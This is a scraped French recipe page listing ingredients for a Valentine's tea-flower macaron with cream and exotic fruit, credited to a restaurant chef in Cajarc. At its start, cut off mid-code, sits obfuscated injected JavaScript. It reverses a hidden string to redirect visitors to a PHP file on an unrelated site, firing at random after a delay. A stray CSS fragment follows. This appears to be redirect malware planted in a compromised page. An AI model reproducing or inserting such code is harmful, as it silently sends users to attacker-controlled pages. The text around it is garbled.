) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1558806019536{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par Claude-Emmanuel ROBIN & son épouse Evgenia, membre des « Bonnes Tables du Lot » Chef du restaurant « L’Allée des Vignes » à Cajarc
http://www.alleedesvignes.com

Recette SPECIALE – St Valentin : MACARON Fleur de thé

Temps de préparation : environ 1 heure
Temps de cuisson : environ 15 minutes

Recette
Temps de préparation : 60 min

Temps de cuisson : 15 min

Ingrédient :
• POUR LA CREME
– 400 g de crème fleurette
– 200 g de mascarpone
– 70 g de sucre semoule
– 2 feuilles de gélatine
– 1 fleur de thé
• POUR LES MACARONS
#Etape 1
– 140 g de poudre d’amande
– 140 g de sucre glace
– 2 gousses de vanille
– 50 g de blancs d’oeufs
#Etape 2
– 140g de sucre semoule
– 50 g de blancs d’oeufs
• POUR LA GARNITURE FRUITS
– 2 fruits de la passion
– 1 mangue
– 1 grenade
• POUR LA DECO
– Pétales de rose
– Poudre d’or
– Sirop